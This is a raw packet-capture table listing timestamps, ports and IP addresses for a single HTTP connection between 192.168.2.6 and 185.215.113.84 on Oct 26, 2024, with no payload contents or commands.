Oct 26, 2024 07:27:10.722484112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722486973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722501993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722508907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722526073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722713947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722726107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722737074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.722755909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.722781897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723710060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723747969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723752975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723764896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723783970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723792076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723797083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723804951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723817110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723828077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723829031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723840952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.723855019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723855019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.723890066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724781990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724806070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724812984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724828005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724839926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724862099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724872112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724885941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724898100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724910021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724912882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724921942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724935055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724936008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724944115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724947929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724987030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.724993944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.724993944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725023985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725034952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725047112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725080013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725090027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725095034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725106001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725120068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725122929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725135088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725137949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725157022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725168943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725187063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725198030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725215912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725224972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725229025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725249052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725250959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725260973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725275993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725277901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725305080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725337029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725352049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725363970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725375891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725389004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725399971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725410938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725414991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725418091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725425005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725459099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725470066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725481987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725491047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725514889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725516081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725529909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725544930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725568056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725717068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725734949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725756884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725785971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725789070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725801945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725812912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725828886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725847960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725891113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725903034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725914001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725929976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.725930929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725956917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.725987911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726373911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726418018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726450920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726464987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726476908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726486921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726490974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726506948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726526022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726591110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726603985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726614952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726629019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726660967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726671934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726681948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726696968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726701021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726706982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726710081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726721048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726725101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726732969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726742983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726754904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726766109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726767063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726779938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726797104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726816893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726874113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726886034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726898909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726912975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726917982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726926088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726933002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.726946115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726979971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.726989985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727003098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727015018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727026939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727036953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.727036953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727056980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.727082968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.727436066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727448940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727479935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.727488041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.727494955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.727529049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.734271049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.734289885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.734302998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.734313965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.734321117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.734353065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.806910992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.806924105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.806936026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.806981087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.806998968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.807022095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.807023048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.807046890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.807064056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839169025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839267969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839313984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839354038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839375019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839426041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839442015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839453936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839492083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839493990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839534998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839564085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839607000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839613914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839652061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839720011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839760065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839798927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839812040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839834929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839864016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839864969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839875937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839900017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839901924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839917898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839941025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.839945078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839957952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839978933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.839982986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840002060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840014935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840018034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840054989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840054989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840069056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840090990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840100050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840142012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840152979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840163946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840182066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840198994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840214968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840220928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840306997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840325117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840363026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840434074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840445042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840467930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840471983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840486050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840502024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840504885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840521097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840539932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840553999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840559959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840569019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840598106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840600014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840620041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840620995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840636969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840651989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840677023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840692997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840693951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840707064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840717077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840733051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840753078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840761900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840768099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840801001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840801001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840815067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840838909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840858936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840862036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840874910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840898991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840913057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840919971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840925932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840946913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.840955019 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840974092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840992928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.840993881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841006041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841026068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841032028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841049910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841062069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841063023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841075897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841094017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841108084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841115952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841119051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841135025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841146946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841162920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841170073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841191053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841204882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841207027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841217041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841238976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841243029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841253996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841260910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841278076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841291904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841296911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841305017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841325045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841329098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841347933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841348886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841367960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841372967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841392994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841413975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841419935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841432095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841458082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841473103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841475010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841485977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841506004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841512918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841546059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841547966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841547966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841558933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841579914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841588020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841588020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841604948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841634989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841651917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841655970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841701031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841806889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841850996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841866970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841903925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841908932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841923952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841938019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841945887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841959953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841964960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:10.841969013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841978073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.841991901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.842005968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:10.842020988 CEST	80	49991	185.215.113.84	192.168.2.6
